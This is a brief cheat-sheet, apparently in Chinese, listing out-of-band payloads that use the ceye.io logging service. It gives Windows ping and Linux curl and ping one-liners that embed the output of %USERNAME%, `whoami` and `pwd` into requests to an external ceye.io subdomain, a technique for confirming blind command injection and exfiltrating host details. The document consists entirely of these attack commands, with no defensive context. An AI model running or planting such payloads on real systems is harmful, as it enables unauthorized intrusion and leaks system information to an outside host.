http://ceye.io/ 0x01 windows主机 ping%USERNAME%.b182oj.ceye.io 0x02 linux主机 curl http://ip.port.b182oj.ceye.io/`whoami` curl http://ip.port.b182oj.ceye.io/`pwd` ping `whoami`.ip.port.b182oj.ceye.io __EOF__